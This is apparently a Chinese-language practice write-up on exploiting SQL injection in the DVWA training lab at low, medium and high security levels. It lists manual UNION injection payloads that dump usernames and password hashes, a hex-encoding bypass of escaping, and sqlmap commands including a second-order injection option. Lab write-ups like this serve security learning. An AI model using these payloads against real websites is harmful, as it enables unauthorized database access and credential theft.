写在前面
最近学了一下sqlmap的使用方式发现挺简单的,但是也要尝试练一练呀,想起了最初搭建的dvwa。。。(玩一波~~~)
注入流程
level low
手注
low这个等级真的没啥好说的
最简单的union查询
列一下payload流程吧
1' order by 2# 测试列数
1' union select 1,2# 测试回显位置
1' union select 1,database()# 查看数据库名
1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
1' union select 1,column_name from information_schema.columns where table_name='users'#查列
1' union select 1,concat_ws('~',user,password) from users#查字段
sqlmap
查看 dbms 当前数据库 和当前用户
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -b -current-db -current-user
查看 当前数据库中的表名
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa --tables
查看表中的列名
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa -T users --columns
查看字段并停止查询
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" -D dvwa -T users -C user,password --dump
发现sqlmap还能生成临时文件并制作爆破字典真是一款强大的工具
level medium
手注
画风突转变成了POST的方式,不过也没啥东西,用burp抓个包就绕过去了
分析分析一波源代码看看过滤了什么
使用了一个mysqli_real_escape_string()的php函数
菜鸟教程讲https://www.runoob.com/php/func-mysqli-real-escape-string.html
把用户输入数据中的 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z字符进行了转义
然而发现查询语句为SELECT first_name, last_name FROM users WHERE user_id = $id
并不是一定需要’号 库名表名等也可以用十六进制绕过
如同上面low的payload
1 order by 2# 测试列数
1 union select 1,2# 测试回显位置
1 union select 1,database()# 查看数据库名
1 union select 1, table_name from information_schema.tables where table_schema=0x64767761# 查表
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#查列
1 union select user,password from users##查字段
sqlmap
注入点为post型参数时 sqlmap有两种利用方式
一种和get形式类似
只不过加上了Post的数据
--data “id=1&submit=submit”
python2 sqlmap.py -u"http://dvwa/vulnerabilities/sqli/" -cookie="PHPSESSID=08ic1cp9rcho2g1pol3qd9rcpt;security=low" --data "id=1&submit=submit" -b -current-db -current-user
另一种比较方便结合burp
python2 sqlmap.py -r C:\Users\HP\Desktop\1.txt -current-db
利用该文件进行注入,sqlmap操作流程如low
level high
手注
fuzz一下发现除了语法报错不再显示详细错误情况之外好像没啥区别
查看一下代码
还真的没有过滤什么东西如同low(靶场水平真的醉了)
1' order by 2# 测试列数
1' union select 1,2# 测试回显位置
1' union select 1,database()# 查看数据库名
1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
1' union select 1,column_name from information_schema.columns where table_name='users'#查列
1' union select 1,concat_ws('~',user,password) from users#查字段
sqlmap
发现查询页面和回显页面不同(好玩了)
这应该算是一个二阶的注入了吧
引进一个参数 second-url
查询网站为http://dvwa/vulnerabilities/sqli/session-input.php
回显网站为http://dvwa/vulnerabilities/sqli/
sqlmap的命令可以这样写
python2 sqlmap.py -r C:\Users\HP\Desktop\2.txt --second-url "http://dvwa/vulnerabilities/sqli/" -current-db
增加参数类似可以注入出来数据
记录一个坑
我在用我的mysql服务中发现一但使用联合查询命令就会报错
Illegal mix of collations for operation
原理是
utf8_general_ci 和utf8_unicode_ci排序规则冲突导致的
所以全改为utf8_general_ci 就可以了